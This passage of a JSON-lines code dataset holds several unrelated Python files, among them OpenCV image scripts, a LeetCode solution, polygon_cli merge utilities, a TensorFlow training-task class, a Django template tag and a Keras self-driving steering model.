1\n else:\n thickness = 3\n\n for label in labels:\n start_point = (int(label[0]), int(label[1]))\n end_point = (int(label[2]), int(label[3]))\n\n image = cv2.rectangle(image,\n start_point,\n end_point,\n (255, 255, 255),\n thickness)\n\n text = label[4]\n\n if not is_prediction:\n text = dictionary[int(label[4])]\n\n image = cv2.putText(image,\n text,\n (int(label[0]), int(label[1] - 10)),\n cv2.FONT_HERSHEY_DUPLEX,\n 0.7,\n color=(255, 255, 255),\n thickness=2)\n\n return image\n\n\ndef load_pretrained_model(model,\n model_save_path,\n pretrained_model,\n output_txt):\n \"\"\"\n loads a pre-trained model from a .pth file\n \"\"\"\n model.load_state_dict(torch.load(os.path.join(\n model_save_path, '{}.pth'.format(pretrained_model))))\n write_print(output_txt,\n 'loaded trained model {}'.format(pretrained_model))\n","sub_path":"utils/genutils.py","file_name":"genutils.py","file_ext":"py","file_size_in_byte":2297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"287194204","text":"'''\nLeetCode.670. Maximum Swap\nGiven a non-negative integer, you could swap two digits at most once to get the maximum valued number. Return the maximum valued number you could get.\n\nExample 1:\nInput: 2736\nOutput: 7236\nExplanation: Swap the number 2 and the number 7.\nExample 2:\nInput: 9973\nOutput: 9973\nExplanation: No swap.\nNote:\nThe given number is in the range [0, 108]\n\n'''\nclass Solution(object):\n def maximumSwap(self, num):\n \"\"\"\n :type num: int\n :rtype: int\n \"\"\"\n list1,list2,list3,mark,mark2,temp,temp1=[],[],[],-1,True,0,0\n ls=list(str(num))\n list1=list(map(int,str(num)))\n list3 = sorted(list1, reverse=True)\n for j in range(len(list3)):\n if mark2 and list3[j]>list1[j]:\n ls[j]=str(list3[j])\n temp=list3[j]\n temp1=str(list1[j])\n mark2=False\n if list1[j] == temp:\n mark = j\n if mark>0:\n ls[mark]=temp1\n list2=map(str,ls)\n return int(\"\".join(list2))","sub_path":"LeetCode-Python2/2017.11/LeetCode670-Maximum Swap.py","file_name":"LeetCode670-Maximum Swap.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"371304505","text":"#!/usr/bin/env python\n\nimport os\nimport re\nimport shutil\nimport sys\nfrom subprocess import Popen, PIPE\nimport subprocess\n\nfrom . import config\n\n\ndef read_file(filename):\n f = open(filename, 'rb')\n l = f.readlines()\n f.close()\n return l\n\n\ndef diff_files(old, our, theirs):\n subprocess.run(config.get_diff_tool(old, our, theirs),\n stdout=sys.stdout,\n shell=True)\n\n\ndef safe_rewrite_file(path, content, openmode='wb'):\n dir_name = os.path.dirname(path)\n if dir_name and not os.path.exists(dir_name):\n os.makedirs(dir_name)\n if openmode.endswith('b'):\n content = convert_to_bytes(content)\n if os.path.exists(path):\n shutil.copy(path, path + \".$$$\")\n open(path, openmode).write(content)\n os.remove(path + '.$$$')\n else:\n open(path, openmode).write(content)\n\n\ndef merge_files(old, our, theirs):\n if open(old, 'rb').read().splitlines() == open(theirs, 'rb').read().splitlines():\n return 'Not changed'\n p = Popen(config.get_merge_tool(old, our, theirs), stdout=PIPE, shell=True)\n diff3out, _ = p.communicate()\n return_value = 'Merged'\n if p.returncode == 1:\n print('Conflict in file %s' % our)\n return_value = 'Conflict'\n elif p.returncode != 0:\n raise Exception(\"diff3 failed!\")\n if return_value != 'Conflict':\n safe_rewrite_file(our, diff3out, 'wb')\n else:\n safe_rewrite_file(our + '.diff', diff3out, 'wb')\n shutil.copy(theirs, our + '.new')\n return return_value\n\n\ndef safe_update_file(old_path, new_path, content):\n open(old_path + '.new', 'wb').write(content)\n return_value = merge_files(old_path, new_path, old_path + '.new')\n shutil.move(old_path + '.new', old_path)\n return return_value\n\n\ndef diff_file_with_content(old_path, new_path, content):\n open(old_path + '.new', 'wb').write(content)\n diff_files(old_path, new_path, old_path + '.new')\n\n\ndef prepare_url_print(url):\n splited = url.split(\"?\")\n if len(splited) != 2:\n return url\n args = splited[1].split('&')\n args = filter(lambda x: not (x.startswith('ccid=') or x.startswith('session=')), args)\n argsstr = '&'.join(args)\n if argsstr:\n argsstr = '?' + argsstr\n return splited[0] + argsstr\n\n\ndef get_local_solutions():\n return os.listdir(config.solutions_path)\n\n\ndef need_update_groups(content):\n match = re.search(rb\"<#-- *group *(\\d*) *-->\", content)\n return match is not None\n\n\ndef parse_script_groups(content, hand_tests):\n groups = {\"0\": []}\n cur_group = \"0\"\n test_id = 0\n any = False\n for i in filter(lambda x: x.strip(), content.splitlines()):\n match = re.search(rb\"<#-- *group *(\\d*) *-->\", i)\n if not match:\n t = i.split(b'>')[-1].strip()\n if t == b'$':\n test_id += 1\n while test_id in hand_tests:\n test_id += 1\n else:\n test_id = int(t)\n assert test_id not in hand_tests\n groups[cur_group].append(test_id)\n continue\n cur_group = match.groups(0)[0].decode(\"ascii\")\n groups[cur_group] = []\n any = True\n if not any:\n return None\n return groups\n\n\ndef convert_to_bytes(x):\n if isinstance(x, bytes):\n return x\n return bytes(str(x), 'utf8')\n\n\ndef convert_newlines(x):\n in_bytes = False\n if isinstance(x, bytes):\n x = str(x, 'utf8')\n in_bytes = True\n x = x.replace('\\r\\n', os.linesep)\n if in_bytes:\n return bytes(x, 'utf8')\n return x\n\n\ndef get_api_file_type(type):\n if type == 'source' or type == 'resource':\n return type\n if type == 'attachment':\n return 'aux'\n return None\n","sub_path":"polygon_cli/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"621864586","text":"from __future__ import absolute_import\n\nimport operator\nimport os\nimport re\nimport shutil\nimport subprocess\nimport tempfile\nimport time\nimport sys\n\nimport numpy as np\n\nfrom .train import TrainTask\nimport web\nfrom web import utils\nfrom web.utils import subclass, override, constants\nimport tensorflow as tf\n\n# NOTE: Increment this everytime the pickled object changes\nPICKLE_VERSION = 1\n\n# Constants\nTENSORFLOW_MODEL_FILE = 'network.py'\nTENSORFLOW_SNAPSHOT_PREFIX = 'snapshot'\nTIMELINE_PREFIX = 'timeline'\n\n\ndef _int64_feature(value):\n return tf.train.Feature(int64_list=tf.train.Int64List(value=[value]))\n\n\ndef _bytes_feature(value):\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))\n\n\ndef _float_array_feature(value):\n return tf.train.Feature(float_list=tf.train.FloatList(value=value))\n\n\ndef subprocess_visible_devices(gpus):\n \"\"\"\n Calculates CUDA_VISIBLE_DEVICES for a subprocess\n \"\"\"\n if not isinstance(gpus, list):\n raise ValueError('gpus should be a list')\n gpus = [int(g) for g in gpus]\n\n old_cvd = os.environ.get('CUDA_VISIBLE_DEVICES', None)\n if old_cvd is None:\n real_gpus = gpus\n else:\n map_visible_to_real = {}\n for visible, real in enumerate(old_cvd.split(',')):\n map_visible_to_real[visible] = int(real)\n real_gpus = []\n for visible_gpu in gpus:\n real_gpus.append(map_visible_to_real[visible_gpu])\n return ','.join(str(g) for g in real_gpus)\n\n\nclass TensorflowTrainTask(TrainTask):\n \"\"\"\n Trains a tensorflow model\n \"\"\"\n\n TENSORFLOW_LOG = 'tensorflow_output.log'\n\n def __init__(self, **kwargs):\n \"\"\"\n Arguments:\n network -- a NetParameter defining the network\n \"\"\"\n super(TensorflowTrainTask, self).__init__(**kwargs)\n\n # save network description to file\n with open(os.path.join(self.job_dir, TENSORFLOW_MODEL_FILE), \"w\") as outfile:\n outfile.write(self.network)\n\n self.pickver_task_tensorflow_train = PICKLE_VERSION\n\n self.current_epoch = 0\n\n self.loaded_snapshot_file = None\n self.loaded_snapshot_epoch = None\n self.image_mean = None\n self.classifier = None\n self.solver = None\n\n self.model_file = TENSORFLOW_MODEL_FILE\n self.train_file = constants.TRAIN_DB\n self.val_file = constants.VAL_DB\n self.snapshot_prefix = TENSORFLOW_SNAPSHOT_PREFIX\n self.log_file = self.TENSORFLOW_LOG\n\n def __getstate__(self):\n state = super(TensorflowTrainTask, self).__getstate__()\n\n # Don't pickle these things\n if 'labels' in state:\n del state['labels']\n if 'image_mean' in state:\n del state['image_mean']\n if 'classifier' in state:\n del state['classifier']\n if 'tensorflow_log' in state:\n del state['tensorflow_log']\n\n return state\n\n def __setstate__(self, state):\n super(TensorflowTrainTask, self).__setstate__(state)\n\n # Make changes to self\n self.loaded_snapshot_file = None\n self.loaded_snapshot_epoch = None\n\n # These things don't get pickled\n self.image_mean = None\n self.classifier = None\n\n # Task overrides\n @override\n def name(self):\n return 'Train Tensorflow Model'\n\n @override\n def before_run(self):\n super(TensorflowTrainTask, self).before_run()\n self.tensorflow_log = open(self.path(self.TENSORFLOW_LOG), 'a')\n self.saving_snapshot = False\n self.receiving_train_output = False\n self.receiving_val_output = False\n self.last_train_update = None\n self.displaying_network = False\n self.temp_unrecognized_output = []\n return True\n\n @override\n def get_snapshot(self, epoch=-1, download=False, frozen_file=False):\n \"\"\"\n return snapshot file for specified epoch\n \"\"\"\n snapshot_pre = None\n\n if len(self.snapshots) == 0:\n return \"no snapshots\"\n\n if epoch == -1 or not epoch:\n epoch = self.snapshots[-1][1]\n snapshot_pre = self.snapshots[-1][0]\n else:\n for f, e in self.snapshots:\n if e == epoch:\n snapshot_pre = f\n break\n if not snapshot_pre:\n raise ValueError('Invalid epoch')\n if download:\n snapshot_file = snapshot_pre + \".data-00000-of-00001\"\n meta_file = snapshot_pre + \".meta\"\n index_file = snapshot_pre + \".index\"\n snapshot_files = [snapshot_file, meta_file, index_file]\n elif frozen_file:\n snapshot_files = os.path.join(os.path.dirname(snapshot_pre), \"frozen_model.pb\")\n else:\n snapshot_files = snapshot_pre\n\n return snapshot_files\n\n @override\n def task_arguments(self, resources, env):\n\n args = [sys.executable,\n os.path.join(os.path.dirname(os.path.abspath(web.__file__)), 'tools', 'tensorflow', 'main.py'),\n '--network=%s' % self.model_file,\n '--epoch=%d' % int(self.train_epochs),\n '--networkDirectory=%s' % self.job_dir,\n '--save=%s' % self.job_dir,\n '--snapshotPrefix=%s' % self.snapshot_prefix,\n '--snapshotInterval=%s' % self.snapshot_interval,\n '--lr_base_rate=%s' % self.learning_rate,\n '--lr_policy=%s' % str(self.lr_policy['policy'])\n ]\n\n if self.batch_size is not None:\n args.append('--batch_size=%d' % self.batch_size)\n\n if self.use_mean != 'none':\n mean_file = self.dataset.get_mean_file()\n assert mean_file is not None, 'Failed to retrieve mean file.'\n args.append('--mean=%s' % self.dataset.path(mean_file))\n\n if hasattr(self.dataset, 'labels_file'):\n args.append('--labels_list=%s' % self.dataset.path(self.dataset.labels_file))\n\n train_feature_db_path = self.dataset.get_feature_db_path(constants.TRAIN_DB)\n train_label_db_path = self.dataset.get_label_db_path(constants.TRAIN_DB)\n val_feature_db_path = self.dataset.get_feature_db_path(constants.VAL_DB)\n val_label_db_path = self.dataset.get_label_db_path(constants.VAL_DB)\n\n args.append('--train_db=%s' % train_feature_db_path)\n if train_label_db_path:\n args.append('--train_labels=%s' % train_label_db_path)\n if val_feature_db_path:\n args.append('--validation_db=%s' % val_feature_db_path)\n if val_label_db_path:\n args.append('--validation_labels=%s' % val_label_db_path)\n\n # learning rate policy input parameters\n if self.lr_policy['policy'] == 'fixed':\n pass\n elif self.lr_policy['policy'] == 'step':\n args.append('--lr_gamma=%s' % self.lr_policy['gamma'])\n args.append('--lr_stepvalues=%s' % self.lr_policy['stepsize'])\n elif self.lr_policy['policy'] == 'multistep':\n args.append('--lr_stepvalues=%s' % self.lr_policy['stepvalue'])\n args.append('--lr_gamma=%s' % self.lr_policy['gamma'])\n elif self.lr_policy['policy'] == 'exp':\n args.append('--lr_gamma=%s' % self.lr_policy['gamma'])\n elif self.lr_policy['policy'] == 'inv':\n args.append('--lr_gamma=%s' % self.lr_policy['gamma'])\n args.append('--lr_power=%s' % self.lr_policy['power'])\n elif self.lr_policy['policy'] == 'poly':\n args.append('--lr_power=%s' % self.lr_policy['power'])\n elif self.lr_policy['policy'] == 'sigmoid':\n args.append('--lr_stepvalues=%s' % self.lr_policy['stepsize'])\n args.append('--lr_gamma=%s' % self.lr_policy['gamma'])\n\n if self.shuffle:\n args.append('--shuffle=1')\n\n if self.crop_size:\n args.append('--croplen=%d' % self.crop_size)\n\n if self.use_mean == 'pixel':\n args.append('--subtractMean=pixel')\n elif self.use_mean == 'image':\n args.append('--subtractMean=image')\n else:\n args.append('--subtractMean=none')\n\n if self.random_seed is not None:\n args.append('--seed=%s' % self.random_seed)\n\n if self.solver_type == 'SGD':\n args.append('--optimization=sgd')\n elif self.solver_type == 'ADADELTA':\n args.append('--optimization=adadelta')\n elif self.solver_type == 'ADAGRAD':\n args.append('--optimization=adagrad')\n elif self.solver_type == 'ADAGRADDA':\n args.append('--optimization=adagradda')\n elif self.solver_type == 'MOMENTUM':\n args.append('--optimization=momentum')\n elif self.solver_type == 'ADAM':\n args.append('--optimization=adam')\n elif self.solver_type == 'FTRL':\n args.append('--optimization=ftrl')\n elif self.solver_type == 'RMSPROP':\n args.append('--optimization=rmsprop')\n else:\n raise ValueError('Unknown solver_type %s' % self.solver_type)\n\n if self.val_interval is not None:\n args.append('--validation_interval=%d' % self.val_interval)\n\n # if self.traces_interval is not None:\n args.append('--log_runtime_stats_per_step=%d' % self.traces_interval)\n\n if 'gpus' in resources:\n identifiers = []\n for identifier, value in resources['gpus']:\n identifiers.append(identifier)\n # make all selected GPUs visible to the process.\n # don't make other GPUs visible though since the process will load\n # CUDA libraries and allocate memory on all visible GPUs by\n # default.\n env['CUDA_VISIBLE_DEVICES'] = subprocess_visible_devices(identifiers)\n\n if self.pretrained_model:\n args.append('--weights=%s' % self.path(self.pretrained_model))\n\n # Augmentations\n assert self.data_aug['flip'] in ['none', 'fliplr', 'flipud', 'fliplrud'], 'Bad or unknown flag \"flip\"'\n args.append('--augFlip=%s' % self.data_aug['flip'])\n\n if self.data_aug['noise']:\n args.append('--augNoise=%s' % self.data_aug['noise'])\n\n if self.data_aug['contrast']:\n args.append('--augContrast=%s' % self.data_aug['contrast'])\n\n if self.data_aug['whitening']:\n args.append('--augWhitening=1')\n\n if self.data_aug['hsv_use']:\n args.append('--augHSVh=%s' % self.data_aug['hsv_h'])\n args.append('--augHSVs=%s' % self.data_aug['hsv_s'])\n args.append('--augHSVv=%s' % self.data_aug['hsv_v'])\n else:\n args.append('--augHSVh=0')\n args.append('--augHSVs=0')\n args.append('--augHSVv=0')\n\n return args\n\n @override\n def process_output(self, line):\n self.tensorflow_log.write('%s\\n' % line)\n self.tensorflow_log.flush()\n\n # parse tensorflow output\n timestamp, level, message = self.preprocess_output_tensorflow(line)\n\n # return false when unrecognized output is encountered\n if not level:\n # network display in progress\n if self.displaying_network:\n self.temp_unrecognized_output.append(line)\n return True\n return False\n\n if not message:\n return True\n\n # network display ends\n if self.displaying_network:\n if message.startswith('Network definition ends'):\n self.temp_unrecognized_output = []\n self.displaying_network = False\n return True\n\n # Distinguish between a Validation and Training stage epoch\n pattern_stage_epoch = re.compile(r'(Validation|Training)\\ \\(\\w+\\ ([^\\ ]+)\\)\\:\\ (.*)')\n for (stage, epoch, kvlist) in re.findall(pattern_stage_epoch, message):\n epoch = float(epoch)\n self.send_progress_update(epoch)\n pattern_key_val = re.compile(r'([\\w\\-_]+)\\ =\\ ([^,^\\ ]+)')\n # Now iterate through the keys and values on this line dynamically\n for (key, value) in re.findall(pattern_key_val, kvlist):\n assert not('Inf' in value or 'NaN' in value), 'Network reported %s for %s.' % (value, key)\n value = float(value)\n if key == 'lr':\n key = 'learning_rate' # Convert to special DIGITS key for learning rate\n if stage == 'Training':\n self.save_train_output(key, key, value)\n elif stage == 'Validation':\n self.save_val_output(key, key, value)\n self.logger.debug('Network validation %s #%s: %s' % (key, epoch, value))\n else:\n self.logger.error('Unknown stage found other than training or validation: %s' % (stage))\n self.logger.debug(message)\n return True\n\n # timeline trace saved\n if message.startswith('Timeline trace written to'):\n self.logger.info(message)\n self.detect_timeline_traces()\n return True\n\n # snapshot saved\n if self.saving_snapshot:\n if message.startswith('Snapshot saved'):\n self.logger.info(message)\n self.detect_snapshots()\n self.send_snapshot_update()\n self.saving_snapshot = False\n return True\n\n # snapshot starting\n match = re.match(r'Snapshotting to (.*)\\s*$', message)\n if match:\n self.saving_snapshot = True\n return True\n\n # network display starting\n if message.startswith('Network definition:'):\n self.displaying_network = True\n return True\n\n if level in ['error', 'critical']:\n self.logger.error('%s: %s' % (self.name(), message))\n self.exception = message\n return True\n\n # skip remaining info and warn messages\n return True\n\n @staticmethod\n def preprocess_output_tensorflow(line):\n \"\"\"\n Takes line of output and parses it according to tensorflow's output format\n Returns (timestamp, level, message) or (None, None, None)\n \"\"\"\n # NOTE: This must change when the logging format changes\n # LMMDD HH:MM:SS.MICROS pid file:lineno] message\n match = re.match(r'(\\d{4}-\\d{2}-\\d{2}\\s\\d{2}:\\d{2}:\\d{2})\\s\\[(\\w+)\\s*]\\s+(\\S.*)$', line)\n if match:\n timestamp = time.mktime(time.strptime(match.group(1), '%Y-%m-%d %H:%M:%S'))\n level = match.group(2)\n message = match.group(3)\n if level == 'INFO':\n level = 'info'\n elif level == 'WARNING':\n level = 'warning'\n elif level == 'ERROR':\n level = 'error'\n elif level == 'FAIL': # FAIL\n level = 'critical'\n return (timestamp, level, message)\n else:\n # self.logger.warning('Unrecognized task output \"%s\"' % line)\n return (None, None, None)\n\n def send_snapshot_update(self):\n \"\"\"\n Sends socketio message about the snapshot list\n \"\"\"\n # TODO: move to TrainTask\n from web.webapp import socketio\n\n socketio.emit('task update', {'task': self.html_id(),\n 'update': 'snapshots',\n 'data': self.snapshot_list()},\n namespace='/jobs',\n room=self.job_id)\n\n # TrainTask overrides\n @override\n def after_run(self):\n if self.temp_unrecognized_output:\n if self.traceback:\n self.traceback = self.traceback + ('\\n'.join(self.temp_unrecognized_output))\n else:\n self.traceback = '\\n'.join(self.temp_unrecognized_output)\n self.temp_unrecognized_output = []\n self.tensorflow_log.close()\n\n @override\n def after_runtime_error(self):\n if os.path.exists(self.path(self.TENSORFLOW_LOG)):\n output = subprocess.check_output(['tail', '-n40', self.path(self.TENSORFLOW_LOG)])\n lines = []\n for line in output.split('\\n'):\n # parse tensorflow header\n timestamp, level, message = self.preprocess_output_tensorflow(line)\n\n if message:\n lines.append(message)\n # return the last 20 lines\n traceback = '\\n\\nLast output:\\n' + '\\n'.join(lines[len(lines)-20:]) if len(lines) > 0 else ''\n if self.traceback:\n self.traceback = self.traceback + traceback\n else:\n self.traceback = traceback\n\n @override\n def detect_timeline_traces(self):\n timeline_traces = []\n for filename in os.listdir(self.job_dir):\n # find timeline jsons\n match = re.match(r'%s_(.*)\\.json$' % TIMELINE_PREFIX, filename)\n if match:\n step = int(match.group(1))\n timeline_traces.append((os.path.join(self.job_dir, filename), step))\n self.timeline_traces = sorted(timeline_traces, key=lambda tup: tup[1])\n return len(self.timeline_traces) > 0\n\n @override\n def detect_snapshots(self):\n self.snapshots = []\n snapshots = []\n for filename in os.listdir(self.job_dir):\n # find models\n match = re.match(r'%s_(\\d+)\\.?(\\d*)\\.ckpt\\.index$' % self.snapshot_prefix, filename)\n if match:\n epoch = 0\n # remove '.index' suffix from filename\n filename = filename[:-6]\n if match.group(2) == '':\n epoch = int(match.group(1))\n else:\n epoch = float(match.group(1) + '.' + match.group(2))\n snapshots.append((os.path.join(self.job_dir, filename), epoch))\n self.snapshots = sorted(snapshots, key=lambda tup: tup[1])\n return len(self.snapshots) > 0\n\n @override\n def est_next_snapshot(self):\n # TODO: Currently this function is not in use. Probably in future we may have to implement this\n return None\n\n @override\n def infer_one(self,\n data,\n snapshot_epoch=None,\n layers=None,\n gpu=None,\n resize=True):\n # resize parameter is unused\n return self.infer_one_image(data,\n snapshot_epoch=snapshot_epoch,\n layers=layers,\n gpu=gpu)\n\n def get_layer_statistics(self, data):\n \"\"\"\n Returns statistics for the given layer data:\n (mean, standard deviation, histogram)\n histogram -- [y, x, ticks]\n Arguments:\n data -- a np.ndarray\n \"\"\"\n # These calculations can be super slow\n mean = np.mean(data)\n std = np.std(data)\n y, x = np.histogram(data, bins=20)\n y = list(y)\n ticks = x[[0, len(x)/2, -1]]\n x = [(x[i]+x[i+1])/2.0 for i in range(len(x)-1)]\n ticks = list(ticks)\n return (mean, std, [y, x, ticks])\n\n def after_test_run(self, temp_image_path):\n try:\n os.remove(temp_image_path)\n except OSError:\n pass\n\n @override\n def infer_many(self, data, snapshot_epoch=None, gpu=None, resize=True):\n # resize parameter is unused\n return self.infer_many_images(data, snapshot_epoch=snapshot_epoch, gpu=gpu)\n\n def has_model(self):\n \"\"\"\n Returns True if there is a model that can be used\n \"\"\"\n return len(self.snapshots) != 0\n\n @override\n def get_model_files(self):\n \"\"\"\n return paths to model files\n \"\"\"\n return {\"Network\": self.model_file}\n\n @override\n def get_network_desc(self):\n \"\"\"\n return text description of network\n \"\"\"\n with open(os.path.join(self.job_dir, TENSORFLOW_MODEL_FILE), \"r\") as infile:\n desc = infile.read()\n return desc\n\n @override\n def get_task_stats(self, epoch=-1):\n \"\"\"\n return a dictionary of task statistics\n \"\"\"\n\n loc, mean_file = os.path.split(self.dataset.get_mean_file())\n\n stats = {\n \"image dimensions\": self.dataset.get_feature_dims(),\n \"mean file\": mean_file,\n \"snapshot file\": self.get_snapshot_filename(epoch),\n \"model file\": self.model_file,\n \"framework\": \"tensorflow\",\n \"mean subtraction\": self.use_mean\n }\n\n if hasattr(self, \"digits_version\"):\n stats.update({\"digits version\": self.digits_version})\n\n if hasattr(self.dataset, \"resize_mode\"):\n stats.update({\"image resize mode\": self.dataset.resize_mode})\n\n if hasattr(self.dataset, \"labels_file\"):\n stats.update({\"labels file\": self.dataset.labels_file})\n\n return stats","sub_path":"web/model/tasks/tensorflow_train.py","file_name":"tensorflow_train.py","file_ext":"py","file_size_in_byte":20994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"163388719","text":"import numpy as np\nimport time\nimport cv2\n\ndef nothing(x):\n pass\n\ncv2.namedWindow('imgcont')\ncv2.createTrackbar('dp', 'imgcont', 5, 25, nothing)\ncv2.createTrackbar('min', 'imgcont', 0, 25, nothing)\n\nfor i in range (1, 8):\n image = cv2.imread('./red' + str(i) + '.jpg')\n image = cv2.pyrDown(image)\n image = cv2.GaussianBlur(image, (5, 5), 0)\n\n imgHSV = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)\n imgMasked = imgHSV.copy()\n\n lower_red = np.array([170, 60, 60])\n upper_red = np.array([180, 220, 200])\n\n mask1 = cv2.inRange(imgHSV, lower_red, upper_red)\n res1 = cv2.bitwise_and(image, imgMasked, mask=mask1)\n\n lower_red = np.array([0, 60, 60])\n upper_red = np.array([10, 220, 200])\n\n mask2 = cv2.inRange(imgHSV, lower_red, upper_red)\n mask = cv2.bitwise_or(mask1, mask2)\n im2, contours, hierarchy = cv2.findContours(mask, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n\n imgcont = mask.copy()\n imgcont = cv2.Canny(imgcont, 50, 100)\n\n threshold_area_min = 200 # threshold area\n threshold_area_max = 4000\n\n im2,contours, hierarchy = cv2.findContours(mask, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)\n mask22 = np.ones(imgcont.shape[:2], dtype=\"uint8\") * 255\n\n for cnt in contours:\n area = cv2.contourArea(cnt)\n\n if area < threshold_area_min or area > threshold_area_max:\n cv2.fillPoly(mask22, pts=[cnt], color=0)\n cv2.drawContours(mask22, cnt, -1, 0, 5)\n\n imgcont = cv2.bitwise_and(imgcont, imgcont, mask=mask22)\n mask22 = cv2.cvtColor(mask22, cv2.COLOR_GRAY2BGR)\n numpy_vertical = np.hstack((imgHSV, image, mask22))\n\n circles = cv2.HoughCircles(imgcont, cv2.HOUGH_GRADIENT, 1, 10)\n if circles != None:\n print(circles)\n\n cv2.namedWindow('mask22')\n cv2.moveWindow('mask22', 100, 1030)\n cv2.imshow('mask22', numpy_vertical)\n\n\n cv2.moveWindow('imgcont', 2000, 40)\n cv2.imshow('imgcont', imgcont)\n\n # cv2.imwrite('secondAlgol' + str(i) + '.jpg', numpy_vertical)\n cv2.waitKey(0)\n\n\ncv2.destroyAllWindows()\n","sub_path":"detect.py","file_name":"detect.py","file_ext":"py","file_size_in_byte":2025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"174408858","text":"from django import template\n\n__author__ = \"Aniruddha Ravi\"\n__license__ = \"MIT\"\n__version__ = \"1.0.3\"\n__email__ = \"aniruddha.ravi@gmail.com\"\n__status__ = \"Development\"\n\n\nregister = template.Library()\n\n\n@register.inclusion_tag('main/templatetags/circle_item.html', takes_context=True)\ndef marketing__circle_items(context):\n return context\n","sub_path":"mvp/main/templatetags/main_marketing.py","file_name":"main_marketing.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"613054066","text":"from cocos.layer import ColorLayer, Layer\nfrom cocos.scene import Scene\n\n\nclass SpriteTestScene(Scene):\n def __init__(self, sprite, color):\n layer = None\n if color is None:\n layer = Layer()\n else:\n layer = ColorLayer(*map(int, color))\n\n self.sprite = sprite((100, 100))\n layer.add(self.sprite)\n\n super().__init__(layer)\n","sub_path":"game/scene/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"597124490","text":"import csv\nimport cv2\nimport numpy as np\nimport math\n\n#The point of this part of the script is to change the paths in my data so that it refers to the\n# data in the workspace instead of in my local computer. \n# Note: to get the data to my workspace, I zip it, upload it, and then unzip using the terminal\n\nlines = []\n#dataFolder = 'data' #built in data\n#dataIMG = 'data'\n#dataFolder = 'AaronData' #data I collected\n#dataIMG = 'AaronData/IMG'\ndataFolder = 'simData'\ndataIMG = 'simData/IMG'\nwith open('/opt/carnd_p3/' + dataFolder + '/driving_log.csv') as csvfile:\n reader = csv.reader(csvfile)\n for line in reader:\n if line[0] != 'center': #firstline is the \n lines.append(line) #path to image data\n#print(\"Lines: \"+ str(len(lines)))\n#Use generator to load data and preprocess it in batch size portions\nfrom sklearn.model_selection import train_test_split\ntrain_samples, validation_samples = train_test_split(lines, test_size=0.2)\nimport sklearn\n\ndef generator(samples, batch_size=64, train = True):\n num_samples = len(samples)\n\n while 1: # Loop forever so the generator never terminates\n sklearn.utils.shuffle(samples)\n for offset in range(0, num_samples, batch_size):\n batch_samples = samples[offset:offset+batch_size]\n images = []\n measurements = []\n center_images = []\n center_measurements = []\n #train = False #Lets only look at center image\n if train==True:\n numImages = 3\n else:\n numImages = 1\n for batch_sample in batch_samples:\n #print(\"batch_sample: \"+ str(batch_sample))\n for i in range(numImages):\n source_path = batch_sample[i] #used to be so \n filename = source_path.split('\\\\')[-1]\n filename = filename.split('/')[-1] #this may mess up my previous data files\n current_path = '/opt/carnd_p3/' + dataIMG + '/' + filename\n #print(\"current_path: \" + str(current_path))\n image =cv2.imread(current_path)\n rgb_img = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n images.append(rgb_img) #Extract images from the data\n correction = 0.0 #For center image\n if i==1: #left\n correction = 0.3 #For left camera \n elif i==2: #right \n correction = -0.3 #For right camera\n measurement = (float(batch_sample[3]) + correction) #correct for left and right camera \n measurements.append(measurement) #Extract steering angles from the data \n #Now if the image is a center image store it in a separate list so we can flip it later for image augmentation\n if i==0: #center image\n center_images.append(image)\n center_measurements.append(measurement)\n \n #Now augment the images by mirroring them (nd inverting steering angles) so the car isnt biassed to turning left\n augmentImages = True\n if augmentImages==True and train==True:\n for image,measurement in zip(center_images, center_measurements):\n if measurement > 0: #only flip if there was steering\n images.append(cv2.flip(image,1))\n measurements.append(measurement*-1.0) \n \n X_train = np.array(images)\n y_train = np.array(measurements) \n yield sklearn.utils.shuffle(X_train, y_train)\n \n#Set our batch size\nbatchSize = 128\n# compile and train the model using the generator function\ntrain_generator = generator(train_samples, batch_size=batchSize, train = True)\nvalidation_generator = generator(validation_samples, batch_size=batchSize, train = False)\n \n#Now set up the regression network\nfrom keras.models import Sequential\nfrom keras.layers import Flatten, Dense, Lambda, Cropping2D, Dropout\nfrom keras.layers import Convolution2D\nfrom keras.layers import MaxPooling2D\n\nmodel = Sequential()\n\n#Normalize and mean center the model\nmodel.add(Lambda(lambda x: x/255. - 0.5, input_shape=(160,320,3)))\nmodel.add(Cropping2D(cropping=((70,20),(0,0)))) \nmodel.add(Convolution2D(24,5,5,activation=\"relu\", subsample=(2,2), name='conv_1'))\nmodel.add(Convolution2D(36,5,5,activation=\"relu\", subsample=(2,2), name='conv_2'))\nmodel.add(Convolution2D(48,5,5,activation=\"relu\", subsample=(2,2), name='conv_3'))\nmodel.add(Convolution2D(64,3,3,activation=\"relu\", name='conv_4'))\nmodel.add(Convolution2D(64,3,3,activation=\"relu\", name='conv_5'))\nmodel.add(Dropout(0.5)) #Added to reduce overfitting\nmodel.add(Flatten(name=\"flat_1\"))\nmodel.add(Dense(100,name=\"dense_1\"))\n#model.add(Dropout(0.5)) #Added to reduce overfitting\nmodel.add(Dense(50,name=\"dense_2\"))\n#model.add(Dropout(0.5)) #Added to reduce overfitting\nmodel.add(Dense(10,name=\"dense_3\"))\n#model.add(Dropout(0.5)) #Added to reduce overfitting\nmodel.add(Dense(1,name=\"dense_4\"))\n\nmodel.compile(loss='mse', optimizer='adam')\nmodel.summary()\n\nmodel.fit_generator(train_generator, steps_per_epoch=math.ceil(len(train_samples)*3/batchSize), validation_data=validation_generator, validation_steps=math.ceil(len(validation_samples)/batchSize), epochs=3, verbose=1) #epoch 